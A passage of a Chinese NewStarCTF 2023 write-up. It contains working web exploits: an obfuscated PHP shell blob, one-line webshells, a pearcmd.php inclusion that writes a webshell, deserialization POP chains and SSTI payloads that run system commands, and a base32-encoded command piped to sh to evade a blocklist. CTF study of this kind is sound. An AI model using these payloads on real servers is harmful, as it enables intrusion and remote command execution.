lohLCM1LTA0Tk8tNDlXOElMIwpaMic1KjFRPVc4NE5KOFNaJjQjYEUwNE5DLjQlSSw1NTcxVGBYNUYlLD00JTI8NVYnNDRLRTFSISQqSD0yClotNU4iNEdMSDA2RFcsNC0mNlApITFSKUs2NSUlMlE5SSwmJSMxUilYMidSLC0lIUw4U0QpNDNgRTY1ISQKWi41Vko4Rz0pPVIoQzZTRDM7UlYxPCM1NzQ3NTYwR05PLSQ1WiwjOToyNS0xMSZILTFHNTA9JjklOyRSOApaNlQ5Qyw1PTE5VFYpMiVVRTVIKEgwRykpNFRSNzs1OU4wND1PNiRWSiw0NToyNyFYMDQ5KDs1VkkxJj06Clo9R0gkMFE9QzskJSc+Nkw6NDROVDY3OVcsJU4oOFA1KDQlKU0wNSEpMlFWJzVQJTcyJlVEMDUhTDM1ViYKWjw0OSE7Ni0nNjROMjpROUosJ04iMicwSDVJVlA7UlImNlQ1Ij1HNSg2UikoOlElJjE1KTo9UVIqNiQ9JQpaMUctJz0jISE+NEg4MDdSMi01UjE5VFIjMiZWWjA0PUstUSUxMTQpJjQ0UjY1UVJDOVElMCwmKSI0RyUyClo1UT0kOzU5KCwmViExUilINCdSTzpRTiY+JlohMiclIjVTSDM1USkpNlAlJjQkNTIwNz0kOEhWWjNQJSIKWjFSKEo2U0gzNiQlTDRHKSU7Ni0lNUc5LDskJSY+JlYjPUdEUDI2SDY+JC0oOlA9KD40UjEwSCE6LDU5SgpaMSMlIjIjITgyVD02LCQ9ST0jPTcxRiVBNjUlKTJSOUk6UCUjMVFDRTIkPEMsUS0oPSNSNzszIUo1UT1PClotSD0yLTQpOjQ3YEg1Rz0zMTVWKThQNSk0UDBGNlFSMzRRVjEzUCEiMVQwTDE2Q0M4US0wMzZMNzpTLUEKWjA1JSU0UTlaM0g1IjImOVMwNSEoOFJSJjMnUjY9RzU1Mkc5LCw0OUosJkg6MVFASDYlYEM+ND1JOFBSJQpaLCcxTDZSKUMtNDVZOEg1NzFIKEMxMyFHPVElMzEmViY0NFInMVIlOiw0TkstJi0wPjYoWDVTRCg+US0oClozJzUnOzRdNTBHOSQtNDkyLSZaIj40TEgwUiUzMTQ1MzhTRDc+JCUyNlAhSDJSVic6VD0hMUpgQzVTSC8KWjRSVkk8NDknOyZWSzA0Uk87JTlaMiM5Oj1HMEQ2Nz0yLFE5MTMlTio9RiU2MFE5LDpIOEQ1VDUhNCQ1IgpaMlIlLTIkKSY6UDUmNDMlNTBSKUw2UjknMSMhITFHQ0QxNkdDLFEpMTEmLTc9SClNMEc5RzpHNVoyJlohClo9RzBMNjQ9LTE1Tig4UzkhMUdOSzA1LSQ6R1JXOElMOjQ3JSIxNkhTLCU9Jj4jISU7N0BHMDUlKDhHPScKWjRQJTcyJVVIMiQ5KDg0LUoxI1IiPUc1NTVHPSwsUj0mMTUlOTQkMVQ1SUglMSROSTRQITo7JS0kNlIpRApaMVElSj01NSk9SChDMTNgRz4lIUw4UCEpNDRdMzZUOUQxUlIxOEg5NjImVUcyIyEkLEhSMTIjMSU7NEtEClo1R04kOkdOJjI1TjosJzBENUlHRz1HMTI4U1YhMVFOUDBQJTcyUTknNlRWOTFJKEM2U0gvNEclSTImPSUKWjsmVUMxSj0uNiRWSjE0PSg9UihMMiRSNjkkJUw0UFIhPUowQzFKTk8uNT1MOFRWOjIkREgxRz0tMiQpKApaNlNOITI1PTc2NDlEMFElWjRIOTg0SjBEMiMhJTY1Uik1R1YmMUlWTjA0OU8sJCUmLCYlOjI1PUcxNlZQClo7USVJMTRWJjFJLSgxSj1HOkdSMDRJTCEyNCU1MSZEWDU1PSczU1ohNDdOSTZRTkQ8NCUnM0c1IzIjTlQKWjVIJUs6Ry1KMjQpIj1ILSYyN05HOlFSMSwjKTk0VDUqNlQ9Nj5RNTA0U1ooMUdOWTQnUk8sUVIyLTUlIgpaMic1IjZROVc9SDkmPiNSJj5RXTo2UT0tNVJOMS0nTjcxVEBDMiUtNj4kKVkzNFYmOzRdJTBHPTY6JCUwCloyJiU5NCVVSDVRPSQsSDkoOlAlJj1ILSQwUCUyPjQ9MTRUPToxUU44MlQ9Uz5RUig2UCkhNDdOUzY3OSgKWi41TjAsJ1Y6MVJWWTVJRCg+UlYxMSNSOTs1KEM2JDlDOzU5WiwjLToyJERMMDZILzYkLSYxJk4hNCdSOApaNlE5Oj00KUoxND0pPjcxWTVTRDI9NCUxMjQ5OjEmLUE2UT0kLTU9SjRIMTYyJihFMiQ9SzlSUkoxIzU6Clo0MzBEMjc5MipHJSYsJzk6MUdOTDZTSDIsNC0mPSMxKCwnMEUwU0QoOEc5SjEmJSg+I0BJMTMhLzRSVkoKWjImPTYxSDlONlFSJCxRJTEsJi0wPjYoRDIkQEg2JCUzMDZMIT1JOEMxSk5HOlE0Qy01NTkxRzBMNUlIKQpaMSU5JjwiWjcyNFI4MDROQy4kMVotNDkpPiYpWTA1JUssUS0oPCMlIT1HREsyJzkkLVE0RDVTWjk0JEgyClowUT0kLCVWKTNSTio9R1I3MTMhQypHTikzNT06PVFDSDA2SFMsNVImNlNWISw1OEUwUU5IMlE5JiwnPTYKWjFSVlkwNkQyLSVWTDEjUiY0NFI1MEc9MipIPUw4VFIiOzQ1RDA3PS4sR05KNVNONzQ0UkE2ND0kLTU5VwpaOElMOjI1LTExJkg2PjU5JzVQMSU7JE5YNlE9Qz40KUosNTUmNCRDRTA1JUs+JClJMSdSOjQ1OEQxSj1LClo6RzVaM0gpIT1RTksxNSU2PjRSST4iWjY7JE5NMEo5OjpHOVozIyU4MiVVRzEzJS02JSFMOFA5KDQlKEcKWjZRUiQ6UTFaM1AlODInYEcyJ1IsOFEpMjwmLTcxSS0nNjROMjpRUjItNSk6NEgoTDZRPS0yJFJJOFBSKApaPVQ1MTZRPTo9NFYxMjQ1NzFUTlg1UCU2LVEpWjImKSQ7NEgmNiQ9TzYkVkksNDUkNFEwRzI1JSg9USlaCloyNFYmNDU9KDBHOEc5UTVZPidWIz1RSDI2JSUzNiQ9Sy0mVik0SDlLNjc9KC01PVoxNTknPUkoQzInUi0KWjJHJUwwNSk4NCZaJTY0TlcsNFIxMiYlITQ3YEQ1SVZQO1JWSjwjNTg0IyU2MjdSSywkNEM9JlYjPUdEUApaMjZINj1IOSYxIzEoPjU5TjZRPSUyUSVaLDU9OTFUYEQxNkhLOyQpSzw0KSYxRmBENUc5MjslPEQ1U0QhClo9UTBMNiUhVywkTks+I1I2LCMxSDQnUk87JCUyMTQtOjQ0Tkw2NWBHLDQtKDhQJSg0IyFOMEo5LC0kOUoKWjNQJTYxVDBHMDVgRDVIVlkzJj0hPUgtNTZSKTo6RzlLM0hSIj4nMEwxU0dDPlEpJjZQUigxSC0kMDc5KApaPjVSJzRUTjkxUUQ4MlQ9JTFRPUk4UFIlOzROSzZSJSUwUlZKOEc1IjImKFg1U0hLPVJWSTwmViY0NT0oClowRzlLOyU9MzVITiM9UUhBNiUkRDYkTkk6UCkpNDdOSzY3OSQ6R1ZKLSMlIjFUQEwyNSEzMyVWMTInNSYKWjpTLUEwSlIyOUhOMTpQJSIxSmBKMDQ8QzhSVjM0RykkOyZaJjBHPTo7NCUoLSM1OjI0NUcxSCUpMTQtJwpaNlApNzI0RFAwSCEtMlI5JzEjLSg9SSlXMDUkQzhIVik1UFIpOzc1NzFIJU86R1IwMidWMD42KEU1SUhYClo0USUnMSdSNzs1OU0yNzkyLCQkQy01UiE9R05INUc9LzFRLSk4U1ohMUdOUTBHTks4UTFaM1AlNzFQQEQKWjA0Uiw+UlZaMiYtOD1HMEMxJSkkOlE1Wj41NTg+JzBMMUglSDElUiY2Uk4qPUg5SzFSKUM6RyVaLCZSIQpaMUcwTDFTSDI9SE4mNFAhITFQJS8wN1IuPTQxWTpQJSIyNihEMjUtNjhIVkk8NCkqNDRLRjFKTkcsUSUmClo0SFYiNEdMWDVRPSQ9SD0nPSMpKTQzIUs2ND0oLTQ5RzhJTDk0NEBINVQ9Nj1HRDIyJlYhMVFSOTBRUjcKWjFSVic0VD0hMUkoQzA0PUwwNVYzNFA1Ij1QMEMxSjlDOyU9Wj4jOTo9RzFYMlIlNj41PSkxJlohMUYhTgpaMDdSITJSOSc0SE4kNFFARTIkQEg0NSFMOFA5JSw0SDg2VD0kLDU9Wi0jLTYyNVVEMTZHRDMkJTM0VFI4Clo0NlZNMEc5NjpHNVo0SFI6MVFOUDI2SCw+JFJLOFNIITRQMUo2UVI2OFE1MTVTJSg9R0NHMDUhSzs1VUMKWjwjNSI0NDBENjQ9KDYkVko0SE4oPVQxUzIkQEc4NVIwMyNSNjFIOEQ2NDk2LFFOJywjKTk0JDFMNUo9VwpaPVFWSjwjUik0SD0vMDdSJC01TjE9NDUhMjYpUzVTRDIsSFYoPSYpJjs0S0Q1UU5TKkdOJjImWjoxSiFMClo1UTFQO1JWKD0mPSI0NS04MUo9TzlHJTEyNEg6PVFIQTBRPSQsJE5JNVNWKTQ1LSQwUCUyOUhOMTpUVikKWj1RQEMwNSklNlElKD0mLTc0Ni01MDUpJCw0OTMzJzUjPUcxTDZUPS4sUTkwMiZaITRJKU40J1JPOyU5WQpaNFAtOTQ0QEw1U0gsLCROSjZTVig9RiU4MDRSJTJSPScxJ1IpPjcxWTVIKEc+NVZJMSdSODFIKUoxSjkoClosJCUyLTVWOjRUYEg2NSVTPjQtKDlTWjY7IyFJMFNIQz41Uko0UCEjMVBOODJUPTY+JC0oOVNaNz42KU8KWjBKPSU0UT0nMSYlKD4jTlQyJFI2OzVWWTZQJSI9SDhEMFFSLjskTkkyJkQ5NEgoSDZRPS0xJU4mPSZaKApaMiM1IzZSLTY5SFJaM0c5IzFUYEgyIyFHLEhWKDw0KSozUy1BNlFSJTNROTEzIyUoPiYpWTVTSCg5JC0pClowNFYmPUdDQzBHTlM5Uj0wMiZEOiwnMEgwVDxENTQ9SzpQKSE7N1IsMDQ9JC40OVotJ1YqPUpgTDE3OTMKWjVRJUw0Ryk5NDNgQzBHTk87NE4wMiMxMD42KVk1R1IsLSVWTDEjNSk7JlVDNjQ5Sy0kTlosIykiOyclLgpaMTZILTE0PUsuIzklOydOWDA0TkQwUjlaNEg5KTIkQEQxUjEvNDQpMTEmLTo7NCUnMlQ9LDpHNVo0SUwhCloyJ2BMMSZEWDE0Tko0Uk4qPUYxSjBROTo6RzVaNEhWOjI0MEwxSCUyPjQpJjMjNSgsNilMNjUhJTw1VloKWjM0TiMxVDBYMDUlTDtRLScxIyUiNDUtNjBSKVMsNEBDMSYpOTI1PSo2JSVXLCQpJz0mSCg7IyUvMDdSJApaLTQxVzhJTDkxRzFYMlE9SDVRKSY2U0Q3LCRdOjZSJSQtNDlZLDQ5KT1UMEswND1LPTQtKDw1KSc0NFI1CloxSk5DOVElMDImLSEyNDUqNVNHRDFRUkwzUCk3MVFSJzBHTkctNU4nMTQxODFUMVk1U0goLDUhTDhQKSEKWjQzIUs2ND0lMlE5SjVQISMxSiFYMjUlLzZSVik0UDUnNDUtNjI3TksuJThDLSdOIjs0Q0gxSCU2LEcpJgpaOlA9ITQkTlcwSjk6OEhWMS0jKTg0U1VEMVQ9TDVRJSg9NFY6MUg5TTY0OSg2JFZKMSMpKTIlVUQxNkhMClo0NVIxMTQpOjQ1OUo2JD1PLjROJjImTjoyNDBMNiQ9KTFRPUo1UE42OzUpTTA1KUQ1UlInMzQ9JTQjYEoKWjInPUw2JVIxMiZaIj1HNSU2UikoOlElJj01NTk0SD0mNlFMUDtSVkkwNCk3MUcwRDI3QEM6RzlKPiZEOQpaPUc1IjFUPEMsNE5KOFBSJj5RXTY2UU5MNVFOWi0nTiMyJ0BYNUdARy1SVig9NFYnMUdIJTBHQEstNE4mCloxNSkhMicwRDVRPSQ4NT0mOFApITszIVM0Jz1XLjROJiwmSDo7JERYMFQ8Ryw1UiY4UCk3OzMhSDZTSCUKVTRSUko9NU46MUdLTDVQIUQ8NU4oMjQ1KT1TKVkyJFIsOiQwRTNKMTA+UUw4KUVRVioyUVYuQ2BgCmAK')))));";
for($i=0; $i<50; $i++){
if(preg_match("/base64/",$shell)){
$tmp = preg_replace("/eval/","return ",$shell);
$shell = eval($tmp);
}else{
break;
}
}
echo $shell;

error_reporting(0);($_GET['7d67973a'])($_POST['9fa3']);

GET:?7d67973a=system

POST:9fa3=ls /

Week3

Web

include

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
 <?php
error_reporting(0);
if(isset($_GET['file'])) {
$file = $_GET['file'];

if(preg_match('/flag|log|session|filter|input|data/i', $file)) {
die('hacker!');
}

include($file.".php");
# Something in phpinfo.php!
}
else {
highlight_file(__FILE__);
}
?>

提示去看phpinfo.php,打开搜索flag看到fake{check_register_argc_argv}

浅谈文件包含之包含pearcmd.php漏洞_register_argc_argv文件包含-CSDN博客

https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html

buuctf 的靶机是用 docker 搭的, 猜测默认环境下应该也会有 pearcmd.php根据文章所说, docker php 环境下 register_argc_argv 默认为 On, 也就是说我们可以通过 query-string 来控制 $_SERVER['argv'], 即执行 pearcmd.php 所需要的参数

payload 如下:

1
2
3
4
5
?+config-create+/&file=/usr/local/lib/php/pearcmd&/<?=@eval($_POST[1]);?>+/tmp/hello.php
需要在burp中传入,在hackbar传入会被url编码

?file=/tmp/hello
POST传参命令执行

week3_1

week3_2

medium_sql

sqlmap一把梭,布尔盲注时间有点久

POP Gadget

1
Begin::__destruct -> Then::__toString -> Super::__invoke -> Handle::__call -> CTF::end -> WhiteGod::__unset
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
<?php
highlight_file(__FILE__);

class Begin{
public $name;

public function __destruct()
{
if(preg_match("/[a-zA-Z0-9]/",$this->name)){
echo "Hello";
}else{
echo "Welcome to NewStarCTF 2023!";
}
}
}

class Then{
private $func;

public function __toString()
{
($this->func)();
return "Good Job!";
}

}

class Handle{
protected $obj;

public function __call($func, $vars)
{
$this->obj->end();
}

}

class Super{
protected $obj;
public function __invoke()
{
$this->obj->getStr();
}

public function end()
{
die("==GAME OVER==");
}
}

class CTF{
public $handle;

public function end()
{
unset($this->handle->log);
}

}

class WhiteGod{
public $func;
public $var;

public function __unset($var)
{
($this->func)($this->var);
}
}

@unserialize($_POST['pop']);

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
 <?php

class Begin{
public $name;
public function __destruct()
{
}
}

class Then{
private $func;
public function __construct()
{
$s=new Super();
$this->func=$s;
}
public function __toString(){
($this->func)();//这里把Super当函数调用,实际触发了Super()里面的__invoke方法
return "Good Job!";
}
}
class Handle{
protected $obj;
public function __construct()
{
$this->obj=new CTF();//实例化CTF()后给这里的obj赋值
}
public function __call($func, $vars)
{
$this->obj->end();//调用了CTF()里的end()方法
}
}
class Super{
protected $obj;
public function __construct()
{
$this->obj=new Handle();//为protected $obj赋值
}
public function __invoke()
{
$this->obj->getStr();//Handle 类没有定义 getStr() 方法,因此在调用这个方法时会触发 handle里的__call() 魔术方法
}
public function end()
{
die("==GAME OVER==");
}
}
class CTF{
public $handle;
public function __construct()
{
$w=new WhiteGod();
$this->handle=$w;
}
public function end()
{
unset($this->handle->log);//在这个end()方法中我们试图用unset()删除WhiteGod()里面的log属性
}
}
class WhiteGod{
public $func='system';
public $var="cat /flag";
public function __unset($var)
{
($this->func)($this->var);
}
}
$b=new Begin();
$b->name=new Then();
echo urlencode(serialize($b));
//POP Gadget: // Begin::__destruct -> Then::toString -> Super::__invoke -> Handle::__call -> CTF::end -> WhiteGod::__unset
1
2
3
4
5
6
7
8
9
10
11
__destruct() 中,由于 $name 包含一个 Then 对象,会触发 __toString() 魔术方法。
__toString() 方法中,首先调用 $this->func 属性指向的对象(即 Super 对象),
接下来进入 Super 类,由于该类含有一个 __invoke() 魔术方法,因此在调用 Super 对象时会触发 __invoke() 方法。
__invoke() 方法中,又会调用 $this->obj->getStr() 方法,并进入 Handle 类中。

由于 Handle 类没有定义 getStr() 方法,因此在调用这个方法时会触发 __call() 魔术方法。
__call() 方法中,将会调用 $this->obj->end() 方法,并触发 CTF 类中的 end() 方法。

在 CTF 类的 end() 方法中,我们会调用 unset($this->handle->log),
从而触发 WhiteGod 类的 __unset() 魔术方法。
__unset() 方法中,我们构造了一个命令行字符串,然后通过执行漏洞执行了系统命令。

GenShin

Python的SSTI

image-20231024140308292

发现文件路径,使用name传参访问

1
2
3
4
5
6
7
8
9
10
11
12
13
?name={{7*7}}                              发现过滤了连续的{{}}
?name={%print(7*7)%} 出现49 说明成功了
我们看下config配置 看看key 没有,那考点应该不是爆破 查看一下子类
?name={%print""|attr("__class__")|attr("__base__")|attr("__subclasses__")()%}
查找到<class 'os._wrap_close'>在第[128]个子类名
使用__init__方法再调用__globals__可以获取到方法内以字典的形式返回的方法、属性等值,但这里init被过滤我们采用"+"进行绕过 即in"+"it
?name={%print""|attr("__class__")|attr("__base__")|attr("__subclasses__")()|attr(132)|attr("__in"+"it__")|attr("__globals__")%}
找到了eval 然后我们可按照下面这样来构造命令
popen被过滤 但是我们可用采用chr编码进行绕过__import__('os').popen('ls /').read()进行chr编码,
但我们还是要执行这个函数eval(__import__('os').popen('ls /').read())
发现flag之后也是一样的改为__import__('os').popen('cat /flag').read() 进行chr编码
?name={%print""|attr("__class__")|attr("__base__")|attr("__subclasses__")()|attr(10)|attr("__in"+"it__")|attr("__globals__")|attr("get")("__builtins__")|attr("get")("eval")("eval(chr(95)%2bchr(95)%2bchr(105)%2bchr(109)%2bchr(112)%2bchr(111)%2bchr(114)%2bchr(116)%2bchr(95)%2bchr(95)%2bchr(40)%2bchr(39)%2bchr(111)%2bchr(115)%2bchr(39)%2bchr(41)%2bchr(46)%2bchr(112)%2bchr(111)%2bchr(112)%2bchr(101)%2bchr(110)%2bchr(40)%2bchr(39)%2bchr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%2bchr(39)%2bchr(41)%2bchr(46)%2bchr(114)%2bchr(101)%2bchr(97)%2bchr(100)%2bchr(40)%2bchr(41))")%}
flag{50febb8e-61b0-42d6-bfc9-906243946038}

官方wp:ban掉了一些内置函数但还剩下get_flashed_message()

直接{% print(get_flashed_messages.__globals__.os["pop"+"en"]("cat /flag").read()) %}

R!!!C!!!E!!!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
highlight_file(__FILE__);
class minipop{
public $code;
public $qwejaskdjnlka;
public function __toString()
{
if(!preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|tee|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $this->code)){
exec($this->code);
}
return "alright";
}
public function __destruct()
{
echo $this->qwejaskdjnlka;
}
}
if(isset($_POST['payload'])){
//wanna try?
unserialize($_POST['payload']);
}

链子

1
2
3
4
5
6
7
8
9
10
11
<?php
error_reporting(0);
class minipop
{
public $code;
public $qwejaskdjnlka;
}
$Minipop = new minipop();
$Minipop->qwejaskdjnlka = $Minipop;
$Minipop->code = 'echo "JJLEMRSDK5BUQR2KIJCUGUSTK5FUUSSVINJUWVKJJZDVKTKXKNMEWRSFKVCVIU2PJFLESVKJJZBUWS2KIFKU2TSLKRETKRSUJNKVGUKKGVFEMRKXINBEUUSOIZCVEMSGJRDEUVCJKRFVGS2OIVCUWV2DIVEVMR2WIVLUGR2MIZGVMSKUJNHEWSSJIVHVESZSJFJEIVJUKFJUESJVIFKE6UJSJZFFMRSFI46T2PI=" | base32 -d | base32 -d |base32 -d |/bin/[r-t]h';
echo serialize($Minipop);

因为对bash进行了过滤,所以用base32进行加密,正则匹配发现被匹配到了,于是多加密了两层

1
echo "JJLEMRSDK5BUQR2KIJCUGUSTK5FUUSSVINJUWVKJJZDVKTKXKNMEWRSFKVCVIU2PJFLESVKJJZBUWS2KIFKU2TSLKRETKRSUJNKVGUKKGVFEMRKXINBEUUSOIZCVEMSGJRDEUVCJKRFVGS2OIVCUWV2DIVEVMR2WIVLUGR2MIZGVMSKUJNHEWSSJIVHVESZSJFJEIVJUKFJVOSKWIFLFGUSCKVFEUSSGIVJEWSSIKU3FIMSQJI2UQVJ5HU6T2PJ5" | base32 -d | base32 -d |base32 -d |/bin/[r-t]h
1
payload=O:7:"minipop":2:{s:4:"code";s:287:"echo "JJLEMRSDK5BUQR2KIJCUGUSTK5FUUSSVINJUWVKJJZDVKTKXKNMEWRSFKVCVIU2PJFLESVKJJZBUWS2KIFKU2TSLKRETKRSUJNKVGUKKGVFEMRKXINBEUUSOIZCVEMSGJRDEUVCJKRFVGS2OIVCUWV2DIVEVMR2WIVLUGR2MIZGVMSKUJNHEWSSJIVHVESZSJFJEIVJUKFJUESJVIFKE6UJSJZFFMRSFI46T2PI=" | base32 -d | base32 -d |base32 -d |/bin/[r-t]h";s:13:"qwejaskdjnlka";r:1;}

Misc

阳光开朗大男孩

secret.txt社会主义核心价值观编码

1
法治自由公正爱国公正敬业法治和谐平等友善敬业法治富强公正民主法治和谐法治和谐法治法治公正友善敬业法治文明公正自由平等诚信平等公正敬业法治和谐平等友善敬业法治和谐和谐富强和谐富强和谐富强平等友善敬业公正爱国和谐自由法治文明公正自由平等友善敬业法治富强和谐自由法治和谐法治和谐法治和谐法治法治和谐富强法治文明公正自由公正自由公正自由公正自由

得到this_password_is_s000_h4rd_p4sssw0rdddd

打开flag.txt

1
🙃💵🌿🎤🚪🌏🐎🥋🚫😆😍🌊⏩🔬🚹✉☀☺🚹🐅🎤🛩💵🌿🌊🚰😊🌊✉🐎❓🎈🌉👑🎅📮🥋👣🕹🚪☀🔄🚫🐍❓🐍😊☀🔬🍍🤣🎈🥋🙃👑🌏🐎🌊📮😂💵🏹👉❓😇🍴💧☺💵😁☃👉🎅👁☂🌿👉🍴🌪👌🍴🍵🖐😇🍍😀🗒🗒

基于AES-EMOJI的原理其实就是一个换表base64然后加个ECB模式的AES,把原来base64的64个字符加个=号一共65个字符替换成65个emoji字符

1
2
3
4
5
6
7
8
9
10
11
import base64
from Crypto.Cipher import AES
import string
emojisInit="🍎🍌🏎🚪👁👣😀🖐ℹ😂🥋✉🚹🌉👌🍍👑👉🎤🚰☂🐍💧✖☀🦓🏹🎈😎🎅🐘🌿🌏🌪☃🍵🍴🚨📮🕹📂🛩⌨🔄🔬🐅🙃🐎🌊🚫❓⏩😁😆💵🤣☺😊😇😡🎃😍✅🔪🗒"
alpha = string.ascii_lowercase+string.ascii_uppercase+string.digits+"+/="
cipher = "🙃💵🌿🎤🚪🌏🐎🥋🚫😆😍🌊⏩🔬🚹✉☀☺🚹🐅🎤🛩💵🌿🌊🚰😊🌊✉🐎❓🎈🌉👑🎅📮🥋👣🕹🚪☀🔄🚫🐍❓🐍😊☀🔬🍍🤣🎈🥋🙃👑🌏🐎🌊📮😂💵🏹👉❓😇🍴💧☺💵😁☃👉🎅👁☂🌿👉🍴🌪👌🍴🍵🖐😇🍍😀🗒🗒"
base64data = ""
for i in cipher:
base64data += alpha[emojisInit.index(i)]
print(base64data)
#U2FsdGVkX19WZSmly4mTsP2FWt5WlVYBnqDMkfNdyRXvYv5ySp3BkUqGVWMj2ArY6Kw420IrDeuFrKHoKJh6pg==

AES解密,key是s000_h4rd_p4sssw0rdddd

week3_misc1

滴滴滴

wav文件听起来像是拨号音,在http://dialabc.com/sound/detect/index.html 进行拨号音识别:

1697987581079

得到拨号音的内容为:

52563319066

结合题目简介的提示,这串数字应该是某处使用的密码,因此可以尝试steghide工具来对jpg图片进行隐写内容提取:

steghide extract -sf secret.jpg

得到fffflllllaaaaaggggg.txt

flag{1nf0rm4t10n_s3cur1ty_1s_a_g00d_j0b_94e0308b}

大怨种

给了一个gif,gifframe查看

第二张含有一张汉信码,在线解密在线汉信码识别,汉信码解码 - 兔子二维码 (tuzim.net)

week3_misc2

flag{1_d0nt_k0nw_h0w_to_sc4n_th1s_c0d3_acef808a868e}

键盘侠

usb流量

1
tshark -r draobyek.pcapng -Y 'usb.data_len == 8' -Y 'usb.src =="1.15.1"' -T fields -e usbhid.data | sed '/^\s*$/d' > draobyek1.txt

得到(其中表示删除,表示空格,根据这个按键顺序对数据进行处理后得到flag)

1
2
3
w3lc0m3<SPACE>to<SPACE>newstar<SPACE>ctf<SPACE>2023<SPACE>flag<SPACE>is<SPACE>here<SPACE>vbafjwrisgjadwwiihdgja13882hxbbbna     <CAP><CAP>ff<DEL>lll<DEL><DEL>aaa<DEL><DEL>gggg<DEL><DEL><DEL>{999<DEL><DEL>999<DEL><DEL>11<DEL>9aaa<DEL><DEL><SPACE><SPACE><DEL><DEL>eb2---<DEL><DEL>a450---<DEL><DEL>2f5f<SPACE><SPACE><SPACE><DEL><DEL><DEL>--<DEL>7bfc[unknown][unknown][unknown]-8989<DEL><DEL>dfdf<DEL><DEL>4bfa4bfa<DEL><DEL><DEL><DEL>85848584}}}<DEL><DEL><DEL><DEL><DEL><DEL><DEL>}]<SPACE><SPACE><SPACE><SPACE>nice<SPACE>work!1you<SPACE>got<SPACE>this<SPACE>flag
output :w3lc0m3<SPACE>to<SPACE>newstar<SPACE>ctf<SPACE>2023<SPACE>flag<SPACE>is<SPACE>here<SPACE>vbafjwrisgjadwwiihdgja13882hxbbbna <CAP>FLAG{9919AEB2-A450-2F5F-7BFC[UNKNOWN][UNKNOWN][UNKNOWN]-89DF4BFA8584}]<SPACE><SPACE><SPACE><SPACE>NICE<SPACE>WORK!1YOU<SPACE>GOT<SPACE>THIS<SPACE>FLAG
flag{9919aeb2-a450-2f5f-7bfc-89df4bfa8584}

2-分析

但你心中仍然有一种不祥的预感,这时你的同事告诉你这台服务器已经被攻击者获取到了权限,需要你尽快去还原攻击者的攻击路径,调查清楚攻击者是如何获取到服务器权限的。;FLAG格式flag{md5(攻击者登录使用的用户名_存在漏洞的文件名_WebShell文件名)};例如flag{testuser_123.php_shell.php},将括号内的内容进行md5编码得到flag{58aec571c731faae1369b461d3927596}即为需要提交的Flag

一般登录请求都是POST方式的请求,因此可以先过滤出所有的POST请求:

http && http.request.method == POST

可以看到有一个发送给/api/action/login.php的POST请求中有username和password字段

其次是存在漏洞的文件名和WebShell文件名,可以看到有大量的目录扫描流量,先使用WireShark过滤器过滤掉响应状态码为404的响应:

http && http.response.code != 404

响应格式是文件包含漏洞包含pearcmd.php GetShell的响应

1698071032479

index.php文件的page参数存在任意文件包含漏洞,攻击者通过这个漏洞包含pearcmd.php向服务器中写入了名为wh1t3g0d.php的WebShell。

而后续的流量也可以看到攻击者是利用wh1t3g0d.php这个Shell执行了一些系统命令

1697986650404

1697986662607

1
2
best_admin_index.php_wh1t3g0d.php
flag{4069afd7089f7363198d899385ad688b}

Week4

Web

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
highlight_file(__FILE__);
function waf($str){
return str_replace("bad","good",$str);
}

class GetFlag {
public $key;
public $cmd = "whoami";
public function __construct($key)
{
$this->key = $key;
}
public function __destruct()
{
system($this->cmd);
}
}

unserialize(waf(serialize(new GetFlag($_GET['key']))));

反序列化字符逃逸

关键代码在于

1
2
3
function waf($str){
return str_replace("bad","good",$str);
}

这里我们可控的只有key的值,因此需要通过这里的字符长度的变化来修改序列化字符串,从而实现对于cmd值的控制。

payload:

1
2
3
4
5
?key=badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:2:"ls";}

实际数据O:7:"GetFlag":2:{s:3:"key";s:88:"goodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgood";s:3:"cmd";s:2:"ls";}";s:3:"cmd";s:6:"whoami";}
最终payload:
?key=badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:9:"cat /flag";}

More Fast

再快一点我就能拿到Flag了,如果Destruct能早一点触发就好了…

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
<?php
highlight_file(__FILE__);

class Start{
public $errMsg='';
public function __destruct() {
die($this->errMsg);
}
}

class Pwn{
public $obj;
public function __invoke(){
$this->obj->evil();
}
public function evil() {
phpinfo();
}
}

class Reverse{
public $func;
public function __get($var) {
($this->func)();
}
}

class Web{
public $func;
public $var;
public function evil() {
if(!preg_match("/flag/i",$this->var)){
($this->func)($this->var);
}else{
echo "Not Flag";
}
}
}

class Crypto{
public $obj;
public function __toString() {
$wel = $this->obj->good;
return "NewStar";
}
}
$web =new Web();
$web->func='system';
$web->var='ls /';
$pwn=new Pwn();
$pwn->obj=$web;
$re=new Reverse();
$re->func=$pwn;
$crypto=new Crypto();
$crypto->obj=$re;
$start=new Start();
$start->errMsg=$crypto;
echo serialize($start);
?>
destruct()->toStirng()->get()->invoke->evil

1
O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:4:"ls /";}}}}}

